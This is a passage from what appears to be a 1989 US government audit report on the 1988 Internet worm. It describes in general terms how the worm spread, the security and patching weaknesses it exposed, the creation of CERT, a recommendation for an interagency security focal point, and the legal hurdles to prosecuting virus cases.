and change, is +evolving into an enhanced, upgraded system to be called the +National Research Network. Plans are for the enhanced network +system to serve as a superhighway that would run faster, reach +farther, and be more accessible than any other computer network +system in the world. + + The National Research Network will include a number of high- +speed networks, including NSFnet, Defense Research Internet, and +other research networks funded by NASA, Energy, and HHS.** The +networks will use a shared, cross-country, high-capacity link +called the Research Interagency Backbone. + + ** Within the next few years, Arapnet will be replaced as + an all-purpose network by NSFnet. A Defense Research + Internet will be created for experimental work in + computer networking. + + The initiative for an upgraded network stemmed from two +high-level studies prepared by the Office of Science and +Technology Policy and an ad hoc committee of the National +Research Council.** OSTP has a broad mandate to coordinate and +develop federal science policy. Within OSTP, the Congress +established the Federal Coordinating Council on Science, +Engineering and Technology (FCCSET) to initiate interagency +consideration of broad national issues and coordinate government +programs. + + ** "A Research and Development Strategy for High Performance + Computing", Office of Science and Technology Policy + (Washington, D.C., Nov. 1987), and "Toward a National + Research Network", National Network Review Committee, + National Academy Press (Washington, D.C., 1988). + + Both studies noted the critical importance of a modern, +high-speed research network in providing for research and +technology development. They concluded that current network +technology did not adequately support scientific collaboration +and that U.S. networks, commercial and government-sponsored, were +not coordinated, had insufficient capacity, and did not assure +privacy. The studies recommended that a national research +network be established to improve network capabilities. The +Chairman of the FCCSET Subcommittee on Networking has asked FRICC +to develop a coordinated, multi-agency implementation plan for +the National Research Network. + + FRICC has taken some initial steps toward upgrading the +Internet. FRICC's NSF representative has agreed to take the lead +in organizing the National Research Network, coordinating multi- +agency efforts and the development of long-term management plans. +In early 1989, NSF sent out a request for proposals to provide +and manage the Research Interagency Backbone. + +INTERNET VIRUS SPREAD OVER +NETWORKS TO VULNERABLE COMPUTERS + + The Internet virus, which entered computers and continuously +recopied itself, was not the first virus-type program to infect +computers. However, it differed from earlier viruses in several +key respects. First, previous viruses were almost always limited +to personal computers (PCs), whereas the Internet virus infected +larger systems, such as minicomputers, workstations, and +mainframes. In addition, the Internet virus was the first to +spread over a network automatically (i.e., without requiring +other programs or user intervention to transmit it). + + The networks themselves (i.e., the communications hardware +and software that connect the computer systems) were not infected +by the virus; rather, they served as a roadway enabling the virus +to spread rapidly to vulnerable computers. In transit, the virus +was indistinguishable from legitimate traffic and, thus, could +not be detected until it infected a computer. The principal +symptoms of the virus were degradation of system response and +loss of data storage space on file systems. + +How the Virus Spread + + The Internet virus spread largely by exploiting security +holes in systems software based on the Berkeley Software +Distribution UNIX system and by taking advantage of +vulnerabilities in host site security policies.** UNIX is the +most commonly used operating system on the Internet--a University +of California, Berkeley, researcher estimated that about three- +quarters of the computers attached to the Internet use some +version of UNIX. Machines infected were VAX and Sun-3 computer +systems.*** + + ** UNIX is a registered trademark of AT&T Laboratories. + Berkeley distributes its own versin of UNIX, and a + number of other systems manufacturers have selected + the Berkeley UNIX version as the basis for their own + operating systems. The virus did not attack the + operating system's "kernel" that manages the system; + rather, it exploited flaws in peripheral service or + utility programs. + + *** VAX and Sun-3 computers are built by Digital Equipment + Corporation and Sun Microsystems, Inc., respectively. + + The virus propagated by using four methods of attack:** + + ** See appendix I for a more detailed account of the + security flaws the virus exploited. + + Sendmail: A utility program that handles the complex tasks +of routing and delivering computer mail. The virus exploited a +"debug" feature of sendmail that allowed a remote operator to +send executable programs. After issuing the debug command, the +virus gave orders to copy itself. + + Fingerd: A utility program that allows users to obtain +public information about other users, such as a user's full name +or telephone extension. A hole in the program allowed the virus +to propagate to distant machines. + + Passwords: The virus tried different methods to guess user +passwords. Once the virus gained access through a correct +password, it could masquerade as a legitimate user and exercise +that user's privileges to gain access to other machines. + + Trusted hosts: Trusted host features provide users +convenient access to each other's resources. This is not a +software hole; it is a convenience sometimes used on local +networks where users frequently use services provided by many +different computers. By using these features, the virus spread +quickly within local networks once one computer had been +penetrated. + +Chronology of the Virus + + The onset of the virus was extremely swift. The first +reports of the virus came from several sites at 9 p.m., Eastern +Standard Time, on Wednesday, November 2. An hour later, the +virus was reported at multiple Internet sites, and by early +morning, November 3, the virus had infected thousands of computer +systems. + + Most of the nation's major research centers were affected, +including Energy's Lawrence Livermore National Laboratory; NASA's +Ames Research Center; the University of California, Berkeley; the +Massachusetts Institute of Technology (MIT); Carnegie Mellon +University; Cornell University; Purdue University; and many +others. The virus also affected sites on Milnet and several +overseas sites. As noted earlier, the Internet is an open, +unclassified network; the virus did not affect classified +government or operational military systems. + + Once the virus was detected, many sites disconnected their +computers from the Internet, leaving only one or two computers +running to communicate with other sites and to permit study of +virus activity. By Thursday, November 3, the sendmail and +fingerd holes had been identified, and by late that night, the +Computer Systems Research Group at the University of California, +Berkeley, had posted patches on network bulletin boards to mend +the holes.** + By Friday evening, the virus had been eliminated at most +sites. At a November 8 virus post-mortem conference, hosted by +the National Security Agency's National Computer Security Center +(NCSC), attendees concluded that the virus had been analyzed and +eradicated by computer science experts located primarily at +university research institutions, with U.S. government personnel +playing a small role. + + ** A patch is a modification made to an object program. + Patches to the sendmail hole had been posted on + Thursday morning. + +OBJECTIVES, SCOPE, AND METHODOLOGY + + In response to an October 14, 1988, request of the Chairman, +Subcommittee on Telecommunications and Finance, House Committee +on Energy and Commerce, and subsequent agreements with his +office, the objectives of our review were to + + -- describe the virus incident, + + -- examine issues relating to Internet security and + vulnerabilities, and + + -- discuss factors affecting the prosecution of computer + virus incidents. + +In addition, we sought to identify federal research directed +specifically at viruses and to provide an overview of research +that may improve security on open networks, such as the Internet. + + + To understand the nature, structure, and management of the +Internet and to determine events surrounding the Internet virus +and related security issues, we reviewed: + + -- Reports, analyses, and briefings prepared by NCSC, DARPA, + the Defense Communications Agency, NSF, NASA, and the + Department of Energy. + + -- Academic analyses prepared by individuals associated with + MIT, Purdue University, and the University of Utah. + + -- Accounts of the virus and its aftermath in scientific + publications, industry journals, and newspapers. + + We discussed the virus incident, implications of an open +network environment, security issues, the need for increased +centralized management, and the National Research Network with + + -- Officials from the agencies listed above as well as from + the National Institute of Standards and Technology + (NIST), OSTP, FCCSET, FRICC, the Office of Management and + Budget, and the General Services Administration. + + -- Officials representing systems software vendors, + including the Computer Systems Research Group of the + University of California, Berkeley; Sun Microsystems, + Inc.; and Digital Equipment Corporation. + + -- Network users representing federal and academic sites, + including Harvard University, MIT, NASA's Ames Research + Center, Energy's Lawrence Livermore National Laboratory, + and the University of California, Berkeley. + + -- Officials from private sector security companies in the + Washington, D.C., area and California and from SRI, + International, which operates the Defense-funded Network + Information Center. + + To obtain a perspective on factors affecting the prosecution +of computer virus offenses, we discussed the relevant laws with +officials of the Federal Bureau of Investigation, Department of +Justice, and Secret Service. We also discussed these issues with +representatives of the Colorado Association of Computer Crime +Investigators and the University of Colorado's Computer Law +Center. + + We discussed research aimed at improving computer and open +network security with officials from government agencies and +systems software vendors cited above; with members of the +Internet Activities Board, a technical group concerned with +Internet standards; and with officials from Bolt, Beranek, and +Newman, Inc., which maintains Arpanet's Network Operations +Center. We did not develop a complete inventory of current +research nor did we evaluate its potential effectiveness. + + Our work was performed in accordance with generally accepted +government auditing standards. We performed our work primarily +between November 1988 and March 1989 in Washington, D.C., and at +research institutions and vendor locations in Massachusetts and +California. We discussed the contents of a draft of this report +with DARPA, NSF, and OSTP officials, and their comments have been +incorporated where appropriate. However, as requested, we did +not obtain official agency comments. + + + CHAPTER 2 + + VIRUS FOCUSES ATTENTION ON INTERNET VULNERABILITIES + + Although the virus spread swiftly over the networks to +vulnerable computers, it apparently caused no permanent damage. +However, the virus highlighted vulnerabilities relating to (1) +the lack of a focal point for responding to Internet-wide +security problems, (2) host site security weaknesses, and (3) +problems in developing, distributing, and installing software +fixes. A number of agencies and organizations have taken actions +since the virus to address identified problems. However, we +believe that these actions alone will not provide the focus +needed to adequately address the Internet's security +vulnerabilities. + +IMPACT OF VIRUS + + The virus caused no lasting damage; its primary impact was +lost processing time on infected computers and lost staff time in +putting the computers back on line. The virus did not destroy or +alter files, intercept private mail, reveal data or passwords, or +corrupt data bases. + + No official estimates have been made of how many computers +the virus infected, in part because no one organization is +responsible for obtaining such information. According to press +accounts, about 6,000 computers were infected. This estimate was +reportedly based on an MIT estimate that 10 percent of its +machines had been infected, a figure then extrapolated to +estimate the total number of infected machines. However, not all +sites have the same proportion of vulnerable machines as MIT. A +Harvard University researcher who queried users over the Internet +contends that a more accurate estimate would be between 1,000 and +3,000 computers infected. + + Similar problems exist in trying to estimate virus-related +dollar loss. The total number of infected machines is unknown, +and the amount of staff time expended on virus-related problems +probably differed at each site. The Harvard University +researcher mentioned earlier estimated dollar losses to be +between $100,000 and $10 million. + + Estimated losses from individual sites are generally not +available. However, NASA's Ames Research Center and Energy's +Lawrence Livermore National Laboratory, two major government +sites, estimated their dollar losses at $72,500 and $100,000, +respectively. These losses were attributed primarily to lost +staff time. + + Although the virus is described as benign because apparently +no permanent damage was done, a few changes to the virus program +could have resulted in widespread damage and compromise, +according to computer experts. For example, these experts said +that with a slightly enhanced program, the virus could have +erased files on infected computers or remained undetected for +weeks, surreptitiously changing information on computer files. + +VULNERABILITIES HIGHLIGHTED BY VIRUS + + In the aftermath of the virus, questions have been raised +about how the virus spread, how it was contained, and what steps, +if any, are needed to increase Internet security. These +questions have been the subject of a number of post-virus +meetings and reports prepared by government agencies and +university researchers.** + + ** Major meetings included (1) a November 8 NCSC-hosted + meeting to review the virus attack and its aftermath, + attended by over 75 researchers and administrators from + government and academia and (2) a December 2 meeting + of UNIX vendors and users, hosted by NCSC, NIST, and + a users group. + + Based on these assessments, we believe that the virus +incident revealed several vulnerabilities that made it easier for +the virus to spread and more difficult for the virus to be +eradicated. These vulnerabilities also came into play in later +intrusions (not involving a virus) onto several Internet sites in +November and December. The vulnerabilities--lack of a focal +point for addressing Internet-wide security problems; security +weaknesses at some host sites; and problems in developing, +distributing, and installing systems software fixes--are +discussed below. + +Lack of a Focal Point to Address +Internet-wide Security Problems + + During the virus attack, the lack of an Internet security +focal point made it difficult to coordinate emergency response +activities, communicate information about the virus to vulnerable +sites, and distribute fixes to eradicate it. + + A Defense Communications Agency account of the virus cited a +series of problems stemming from the lack of a central, +coordinating mechanism. For example: + + -- Although the virus was detected at various sites, users + did not know to whom or how to report the virus, thus + hindering virus containment and repair. + + -- There were no plans or procedures for such an emergency + situation. People used ad hoc methods to communicate, + including telephone or facsimile. In many instances, + sites disconnected from the Internet. While effective in + the short run, this action also impeded communications + about fixes. + + -- It was unclear who was responsible for protecting + networks from viruses, resulting in confusion among user, + network, and vendor groups. + + The confusion surrounding the virus incident was echoed by +many Internet users. For example: + + -- A Purdue University researcher concluded that user + response to the virus was ad hoc and resulted in + duplicated effort and failure to promptly disseminate + information to sites that needed it.** + + -- At Energy's Los Alamos National Laboratory, researchers + reported that they received conflicting information on + fixes. Because they did not have a UNIX expert on site, + they had difficulty determining which fix was reliable. + + -- At Harvard University, researchers expressed frustration + at the lack of coordination with other sites experiencing + the same problems. + + ** Eugene H. Spafford, "The Internet Worm Program: An + Analysis", Department of Computer Sciences, Purdue + University, Nov. 1988. + + In a report resulting from NCSC's post-mortem meeting, +network sponsors, managers, and users from major sites--including +Defense's Army Ballistic Research Laboratory, Energy's Lawrence +Livermore National Laboratory, DARPA, Harvard, MIT, and the +University of California, Berkeley--called for improved +communications capabilities and a centralized coordination center +to report problems to and provide solutions for Internet users. + +Host Security Weaknesses +Facilitated Spread of Virus + + Key to the Internet's decentralized structure is that each +host site is responsible for establishing security measures +adequate to meet its needs. Host computers are frequently +administered by systems managers, typically site personnel +engaged in their own research, who often serve as systems +managers on a part-time basis. + + According to virus incident reports as well as network +users, weaknesses at host sites included (1) inadequate attention +to security, such as poor password management, and (2) systems +managers who are technically weak. + + + Inadequate Attention to Security + + Discussions of computer security frequently cite the trade- +offs between increased security and the sacrifices, in terms of +convenience, system function, flexibility, and performance, often +associated with security measures. In deciding whether to +establish additional security measures, systems managers must +often be willing to make sacrifices in these areas. According to +Internet users from academia, government, and the private sector, +systems managers at research sites often are not very concerned +with security. + + One example of a trade-off between security and convenience +involves trusted host features on UNIX that allow users to +maintain a file of trusted computers that are granted access to +the user's computer without a password. The trusted host +features make access to other computers easier; however, they +also create potential security vulnerabilities because they +expand the number of ways to access computers. + + The virus took advantage of the trusted host features to +propagate among accounts on trusted machines. Some sites +discourage use of the trusted host features; however, other sites +use them because of their convenience. One Internet user +observed that users do not like to be inconvenienced by typing in +their password when accessing a trusted computer, nor do they +want to remember different passwords for each computer with which +they communicate. + + Another example involving inadequate attention to security is +in password management. According to an NSF official, a major +vulnerability exploited by the virus was lax password security. +The official stated that too few sites observe basic procedures +that reduce the risk of successful password guessing, such as +prohibiting passwords that appear in dictionaries or other simple +word lists and periodically changing passwords. + + The relative ease with which passwords can be guessed was +discussed in an analysis of the Internet virus done by a +University of Utah researcher.** He cited a previous study +demonstrating that out of over 100 password files, up to 30 +percent were guessed using just the account name and a couple of +variations. + + ** Donn Seeley, "A Tour of the Worm", Department of Computer + Science, University of Utah, Nov. 1988. Unpublished report. + + Careful control over passwords often inconveniences users to +some degree. For example, an article in Computers and Security, +an international journal for computer security professionals, +notes that computer-generated passwords tend to be more secure +than user-selected passwords because computer-generated passwords +are not chosen by an obvious method easily guessed by an +intruder. However, computer-generated passwords are generally +more difficult to remember.** + + ** Belden Menkus, "Understanding the Use of Passwords", + Computers and Security, Vol. 7, No. 2, April 1988. + + Systems Managers Who Are Technically Weak + + A number of Internet users, as well as NCSC and Defense +Communications Agency virus reports, stated that the technical +abilities of systems managers vary widely, with many managers +poorly equipped to deal with security issues, such as the +Internet virus. For example, according to the NCSC report, many +systems managers lacked the technical expertise to understand +that a virus attacked their systems and had difficulty +administering fixes. The report recommended that standards be +established and a training program begun to upgrade systems +manager expertise. + +Problems in Developing, Distributing, +and Installing Software Fixes + + Systems software is generally very complex. A major problem +programmers face in software design is the difficulty in +anticipating all conditions that occur during program execution +and understanding precisely the implications of even small +changes. Thus, systems software often contains flaws that may +create security problems, and software changes often introduce +new problems. + + Internet users and software vendors frequently cited +problems relating to inadequacies in developing, distributing, +and installing corrections to identified software holes. Holes +that are not expeditiously repaired may create security +vulnerabilities. The Internet virus incident and two later +Internet intrusions highlighted problems in getting vendors to +develop and distribute fixes and in having host sites install the +fixes. + + Problems With Vendors + + A number of network users representing major Internet sites +said that vendors should be more responsive in supplying patches +to identified software holes. For example, more than 1 month +after the virus, several vendors reportedly had not supplied +patches to fix the sendmail and fingerd holes. + + Most vendors, when notified of a hole, send users a patch to +repair the hole or wait until their next software revision, at +which time the hole (as well as any other identified flaws) will +be corrected. However, since a revision may take up to 6 to 9 +months to release, the latter approach may leave systems +vulnerable to security compromise for long periods. According to +Internet users, critical security patches should be provided as +quickly as possible and should not be delayed until the next +release of the software.** + + ** According to a Defense official, this problem is + compounded by the fact that sites not subscribing to + software maintenance/support may not receive any new + releases. + + Officials of one major vendor pointed out the problems they +faced in distributing patches expeditiously. According to these +officials: + + -- Their company sells computers with three or four + different architectures, each with several versions of + the UNIX operating system. When a fix is needed, they + have to distribute about 12 different patches, making it + difficult to develop and release patches quickly. + + -- Patches have to be carefully screened so that new holes + will not be inadvertently incorporated. The officials + noted that the quality assurance this screening provides + is an important part of their business because their + reputation depends on the quality of their software. + + -- Vendors have a hard time keeping track of customers who + do not have service maintenance contracts. In addition, + some systems are sold through contractors and the vendors + may not know the contractors' customer bases. + + -- Disseminating a patch to thousands of users can cost a + company millions of dollars. + +The vendor officials said they considered these factors in +determining how to implement a patch. + + Berkeley's Computer Systems Research Group, which +distributes its version of UNIX, has a software policy that +differs from that of many other vendors. Berkeley generally +provides source code along with the UNIX object code it sells to +users.** However, Berkeley's policy is unusual--most vendors +treat source code as proprietary and it is typically not provided +to users. With source code, an experienced systems manager may +be able to fix holes without waiting for the vendor to supply a +patch or a system revision. + + ** Source code is the program written by the programmer. + It is translated (by a compiler, interpreter, or + assembler program) into object code for execution by + the computer. + + Berkeley routinely transmits fixes to UNIX users and vendors +through networks and bulletin boards. While this may result in +timely fixes, it can also create security vulnerabilities. In +particular, when a fix is widely disseminated, information about +a vulnerability is also made apparent. Thus, there is a race +between intruders seeking to exploit a hole and systems managers +working to apply the fix. + + This dilemma was highlighted in multiple intrusions, which +occurred in November and December 1988, at several Internet +sites, including Lawrence Livermore National Laboratory and Mitre +Corporation. In these instances, intruders exploited +vulnerabilities in a UNIX utility program, called FTPD, that +transfers files between Internet sites.** + + ** As discussed, the Internet virus exploited vulnerabilities + in two other UNIX utility programs, sendmail and fingerd. + + Berkeley had sent out patches for the FTPD hole in October +1988. However, other UNIX vendors had not released patches for +the hole. Mitre officials reported that their systems managers +applied the Berkeley patch on many of their computers, but not on +the computer penetrated by the intruders. Lawrence Livermore +officials reported that they applied patches to computers that +use Berkeley UNIX. However, the vendor for its other computers +had not supplied a patch before the intrusion. Lawrence +Livermore did not have source code for the other vendor's +machines, so they had to wait for the vendor's patch. + + According to a Defense official, the intruders most likely +tried to gain access to many machines until they found those +machines to which patches had not been applied. Once the +intruders penetrated the FTPD hole, they installed "trap doors" +by adding new accounts and modifying systems routines, which +allowed them continued access after the FTPD holes were closed. +Officials from the Federal Bureau of Investigation and from sites +involved in the intrusions said that the intruders have been +identified and the case is under investigation. Reportedly, +aside from the trap doors, no files were altered, and no +classified systems were affected. + + Problems in Installing Software Fixes + + Even when a vendor distributes fixes, there is no assurance +that sites will install them. Internet users and managers at +several major university research and government sites cited the +following reasons as to why fixes were not expeditiously +installed: + + -- Systems managers vary in their ability and motivation to + manage their systems well. + + -- System managers often serve on a part-time basis, and + time spent on systems management takes away time from + research. + -- System revisions may contain errors, so some systems + managers are reluctant to install the revisions. + + -- System revisions may be expensive if the system is not on + a maintenance contract. + + -- Some sites do not know who their system managers are and, + thus, have problems ensuring that fixes get distributed + and installed. + + As discussed earlier, problems and confusion resulted when +sites had to respond to the Internet virus. Although Berkeley +posted a fix to both the sendmail and fingerd holes within 2 days +after the onset of the virus and Sun Microsystems reportedly +published a fix within 5 days, almost a month after the virus a +number of sites reportedly still had not reconnected their host +computers to the Internet. + +ACTIONS TAKEN IN RESPONSE TO VIRUS + + In response to the Internet virus, DARPA, NIST, NCSC,** and +a number of other agencies and organizations have taken actions +to enhance Internet security. These actions include developing +computer security response centers, coordinating meetings, +preparing publications to provide additional guidance, and +publishing statements of ethics.*** + + ** NIST is responsible for developing standards and guidelines + for the security of unclassified federal computer systems. + It performs these responsibilities with the National + Security Agency's technical advice and assistance. The + Natioonal Security Agency (of which NCSC is a part) is + responsible for the security of classified informatin in + the defense and national security areas, including that + stored and processed on computers. + + *** In addition, agencies are engaged in ongoing research + aimed at improving network and computer security. An + overview of these activities is presented in appendix II. + +Computer Security Response +Centers Established + + In the wake of the virus, many Internet users, site +managers, and agency officials have voiced concerns about +problems in responding to and preventing emergency situations, +such as the Internet virus. To address these concerns, some +agencies are developing computer security response centers to +establish emergency and preventative measures. + + The first center, the Computer Emergency Response Team +(CERT), was established by DARPA in mid-November 1988. CERT's +mandate is broad--it is intended to support all of the Internet's +research users. DARPA views CERT as a prototype effort for +similar organizations in other computer communities. Also, CERT +is seen as an evolving organization whose role, activities, and +procedures will be defined as it gains experience responding to +Internet security problems. + + According to DARPA, CERT's three main functions are to +provide + -- mechanisms for coordinating community response in + emergency situations, such as virus attacks or rumors of + attacks; + + -- a coordination point for dealing with information about + vulnerabilities and fixes; and + + -- a focal point for discussion of proactive security + measures, coordination, and security awareness among + Internet users. + +CERT has no authority, although it can make recommendations. +CERT officials recognize the need to establish credibility and +support within the Internet community so that its recommendations +will be acted upon. + + CERT's nucleus is a five-person coordination center located +at the Software Engineering Institute at Carnegie Mellon +University in Pennsylvania.** CERT has enlisted the help of over +100 computer specialists who are on call when problems arise in +their areas of expertise. In addition, CERT is developing +working relationships with government organizations, including +NCSC, NIST, Energy, and the Federal Bureau of Investigation, and +with vendor and user groups. CERT expects to rely on DARPA +funding until its value is recognized by the Internet community +and alternate funding mechanisms are established--probably within +3 to 5 years. + + ** The objective of the institute, which is a Federally + Funded Research and Development Center, is to accelerate + the movement of software technology into defense systems. + + The Department of Energy began setting up a center at +Lawrence Livermore National Laboratory in February 1989. This +center is to focus on proactive preventive security and on +providing rapid response to computer emergencies within the +agency. The center plans to develop a data base of computer +security problems and fixes, provide training, and coordinate the +development of fixes. In addition, the center is considering +developing software to assist in network mapping and to assure +proper system configuration. + +Meetings Held and Guidance Issued + + NIST is coordinating interagency meetings to (1) draw on +agency experience and develop a model for agencies to use in +setting up response/coordination centers and (2) educate others +on the model that is developed. NIST has also set up a computer +system that may be used as a data base for computer problems and +fixes and as an alternate means of communication in case the +Internet's electronic mail system becomes incapacitated. In +addition, NIST is planning to issue guidance this summer that +will discuss threats inherent to computers and how such threats +can be reduced. + + NCSC plans to distribute three security-related reports +discussing (1) viruses and software techniques for detecting +them, (2) the role of trusted technology in combating virus- +related programs, and (3) security measures for systems managers. +NCSC is also providing an unclassified system to serve as an +alternate means of communications in case the Internet's +electronic mail system is not working. + +Ethics Statements Released + + The Internet Activities Board, a technical group comprising +government, industry, and university communications and network +experts, issued a statement of ethics for Internet users in +February 1989. Many Internet users believe there is a need to +strengthen the ethical awareness of computer users. They believe +that a sense of heightened moral responsibility is an important +adjunct to any technical and management actions taken to improve +Internet security. + + The Board endorsed the view of an NSF panel that +characterized any activity as unethical and unacceptable that +purposely + + -- seeks to gain unauthorized access to Internet resources; + + -- disrupts the intended use of the Internet; or + + -- wastes resources, destroys the integrity of computer- + based information, or compromises users' privacy. + + The Computer Professionals for Social Responsibility and +various network groups have also issued ethics statements +encouraging (1) enforcement of strong ethical practices, (2) the +teaching of ethics to computer science students, and (3) +individual accountability. + +CONCLUSIONS + + In the 20 years in which it evolved from a prototype DARPA +network, the Internet has come to play an integral role in the +research and development community. Through the Internet, +researchers have been able to collaborate with colleagues, have +access to advanced computing capabilities, and communicate in new +ways. In providing these services, the Internet has gone beyond +DARPA's original goal of proving the feasibility of computer +networking and has served as a model for subsequent public data +networks. + + Since there is no lead agency or organization responsible +for Internet-wide policy-making, direction, and oversight, +management on the Internet has been decentralized. We believe +this is because, at least in part, Internet developments were +driven more by technological considerations than by management +concerns and because decentralized authority provided the +flexibility needed to accommodate growth and change on an +evolving network. However, we believe that the Internet has +developed to the point where a central focus is necessary to help +address Internet security concerns. These concerns will take on +an even greater importance as the Internet evolves into the +National Research Network, which will be faster, more accessible, +and have more international connections than the Internet. + + The Internet virus and other intrusions highlighted certain +vulnerabilities, including + + -- lack of a focal point in addressing Internet-wide + security issues, contributing to problems in coordination + and communications during security emergencies; + + -- security weaknesses at some host sites; and + + -- problems in developing, distributing, and installing + systems software fixes. + + Since the virus, various steps have been taken to address +concerns stemming from the incident, from creating computer +security response centers to issuing ethics statements to raise +the moral awareness of Internet users. + + We support these actions and believe they are an important +part of the overall effort required to upgrade Internet security. +Host sites may need to take additional actions to heighten +security awareness among users and to improve identified host +level weaknesses, such as lax password management. + + However, many of the vulnerabilities highlighted by the +virus require actions beyond those of individual agencies or host +sites. For this reason, we believe that a security focal point +should be established to fill a void in the Internet's management +structure and provide the focused oversight, policy-making, and +coordination necessary at this point in the Internet's +development. + + For example, we believe that concerns regarding the need for +a policy on fixes for software holes would be better addressed by +a security focal point representing the interests of half a +million Internet users than by the ad hoc actions of host sites +or networks. Similarly, a security focal point would better +ensure that the emergency response teams being developed by +different Internet entities are coordinated and that duplication +is lessened. + + There are no currently available technical security fixes +that will resolve all of the Internet's security vulnerabilities +while maintaining the functionality and accessibility that +researchers believe are essential to scientific progress. +Similarly, there is no one management action that will address +all of the Internet's security problems. However, we believe +concerted action on many fronts can enhance Internet security and +provide a basis for security planning on the National Research +Network. + + FRICC, an informal group made up of representatives of the +five agencies that operate Internet research networks, is +attempting to coordinate network research and development, +facilitate resource sharing, and reduce operating costs. +However, no one agency or organization has responsibility for +Internet-wide management and security. The Office of Science and +Technology Policy, through its Federal Coordinating Council on +Science, Engineering and Technology, has, under its mandate to +develop and coordinate federal science policy, taken a leadership +role in coordinating development of an interagency implementation +plan for the National Research Network. Therefore, we believe +that the Office, through FCCSET, would be the appropriate body to +coordinate the establishment of a security focal point. + +RECOMMENDATION + + We recommend that the President's Science Advisor, Office of +Science and Technology Policy, through FCCSET, coordinate the +establishment of an interagency group to serve as an Internet +security focal point. This group should include representatives +from the federal agencies that fund Internet research networks. + + As part of its agenda, we recommend that this group: + + -- Provide Internet-wide policy, direction, and coordination + in security-related areas to help ensure that the + vulnerabilities highlighted by the recent incidents are + effectively addressed. + + -- Support efforts already underway to enhance Internet + security and, where necessary, assist these efforts to + ensure their success. + + -- Develop mechanisms for obtaining the involvement of + Internet users; systems software vendors; industry and + technical groups, such as the Internet Advisory Board; + and NIST and National Security Agency, the government + agencies with responsibilities for federal computer + security. + + -- Become an integral part of the structure that emerges to + manage the National Research Network. + + + CHAPTER 3 + + FACTORS HINDERING PROSECUTION + OF COMPUTER VIRUS CASES + + The Internet incident is a recent example of the growing +number of instances in which computers, or their information or +programs, have been the target of sabotage or attack. As of +March 23, 1989, there have been no indictments in the Internet +virus case. Because it is an open matter, Justice officials +would not provide any specific information about the case. + + There are some factors that may hinder prosecution of +computer virus-type incidents. For example: + + -- There is no federal statute that specifically makes such + conduct a crime, so other federal laws must be applied to + computer virus-type cases. + + -- The technical nature of computer virus-type cases may + hinder prosecution. + +As yet, there have been no federal prosecutions of computer +virus-type incidents. + +NO STATUTE SPECIFICALLY +DIRECTED AT VIRUSES + + No federal law is specifically directed at computer virus- +type incidents. Thus, the ability to prosecute such cases +depends on whether conduct associated with a particular incident, +such as unauthorized access or destruction of records, falls +within an existing statute. + + The Computer Fraud and Abuse Act of 1986 (18 U.S.C. 1030) is +the act most closely directed at computer crimes. The most +relevant provisions in the act relating to virus-type incidents +make it a crime for individuals to + + -- intentionally,** without authorization, access a federal + computer, or a federally used computer if such access + affects the government's operation of the computer; + + ** The term "intentionally" means that the outcome was an + objective of the conduct. + + -- knowingly,** and with intent to defraud, access a federal + interest computer*** or exceed authorized access, where + such access furthers the intent to defraud and obtains + anything of value, unless the object of the fraud and the + thing of value consists only of the use of the computer; + or + + ** The term "knowingly" means that the actor was aware + that the result was practically certain to follow + from the conduct. + + *** The act defines federal interest computers as ones + exclusively used by the government or a financial + institution, or if not exclusively so used, used by + government or a financial institution and the conduct + constituting the offense affects the financial + institution's or the government's operation of the + computer, or a computer that is one of two or more + used in committing the offense, not all of which + are in the same state (18 U.S.C. 1030(e)(2)). + + -- intentionally, without authorization, access and by such + conduct alter, damage, or destroy information in any + federal interest computer or prevent the authorized use + of such computer or information and thereby (A) cause + losses aggregating $1,000 or more to one or more others + during any one year or (B) modify or impair, or + potentially modify or impair, the medical examination, + diagnosis, treatment or care of one or more individuals. + + The act defines some relevant terms, but not others. For +instance, the act defines "exceeds authorized access" as access +to a computer with authorization and use of such access to obtain +or alter information in the computer that the accessor is not +entitled to obtain or alter (18 U.S.C. 1030(e)(6)). However, the +act does not define "access," "information," or "prevents the +authorized use." + + Because some of the terminology has not been defined, it is +not clear whether all virus-type cases would fit within the act's +scope. For instance, it is unclear whether the introduction of a +virus into a system by electronic mail, a nominally authorized +means of entry, would constitute unauthorized access as +contemplated by the statute. Nor is it clear that a virus that +merely slowed a system's response time would prevent its +authorized use. + + There are also obstacles in applying other federal laws to +virus-type incidents. For example, it is possible to view the +creation and use of counterfeit passwords (used, for example, in +the Internet incident) as a violation of the Credit Card Fraud +Act of 1984 (18 U.S.C. 1029). This statute prohibits the +production or use of counterfeit or unauthorized access devices +with the intent to defraud. However, the act's legislative +history** suggests that it is intended to address financial and +credit abuses, and it is not certain that its prohibitions could +be extended to nonfinancial incidents. + + ** See House Report 894, 98th Congress, 2d Session; + Senate Report 368, 98th Congress, 2d Session. + + Another law that has been suggested for use in prosecuting +virus-type incidents is the Wire Fraud Act (18 U.S.C. 1343). +This act prohibits the introduction into interstate or foreign +commerce of radio, wire, or television communications intended to +further a fraudulent scheme. However, applying this statute to +virus-type incidents may be complicated by the absence of +traditional fraud elements, such as the effort to obtain +something of value. + + In addition to federal laws, computer crimes may be +prosecuted under state laws. Forty-eight states have adopted +legislation dealing with computer crimes, and the other two are +currently considering such legislation.** State laws vary widely +in terms of coverage and penalties. For instance, some state +laws: + + -- Include provisions that specifically define information + stored in computers as property. This definition + facilitates prosecution under traditional statutes + governing property crimes. + + -- Authorize victims to sue for violations of the statutes. + + -- Provide for forfeiting (that is, permanently taking away) + the violator's computer property used in the crime as + part of the penalty. Federal statutes do not provide for + such a remedy or penalty. + + ** Statistics were not readily available regarding the + extent to which state laws have been used for prosecuting + computer virus-type cases. + +TECHNICAL NATURE OF VIRUS-TYPE +INCIDENTS MAY HINDER PROSECUTION + + The technical nature of computer virus-type incidents may +hinder prosecution. Even when a violation can be clearly +established, the evidence is likely to be arcane and technical, +and prosecutors may not have the background and training needed +to deal with it proficiently. Moreover, even if prosecutors are +prepared to deal with the evidence, it is not likely that the +court and jury would be similarly capable of assessing complex +computer-related evidence. Consequently, prosecutors would need +to devote additional resources and effort in preparing to +communicate the substance of the case. This difficulty was +described by the court in a 1985 software copyright case +involving similar types of evidence: + + "This fact-rich case has presented difficult issues for + resolution, particularly since the intellectual + property at issue is computer programming, a form not + readily comprehended by the uninitiated. The challenge + to counsel to make comprehensible for the court the + esoterica of bytes and modules is daunting."** + + ** Q-CO Industries, Inc. v. Hoffman, 625 F.Supp. 608, + 610 (1985). + + Another potential problem in prosecuting virus-type +incidents is that pretrial discovery may be burdensome and raise +problems regarding access to sensitive computer records or +security systems.** For example, in a recent Texas case +involving a virus-type incident,*** the defense moved for access +to the victim company's backup tapes containing confidential +records. The issue was ultimately resolved by giving the +defendant access to the data over one weekend, with physical +control of the tapes remaining in the company's hands. However, +it is possible that similar requests for access to computer files +or even security systems could deter 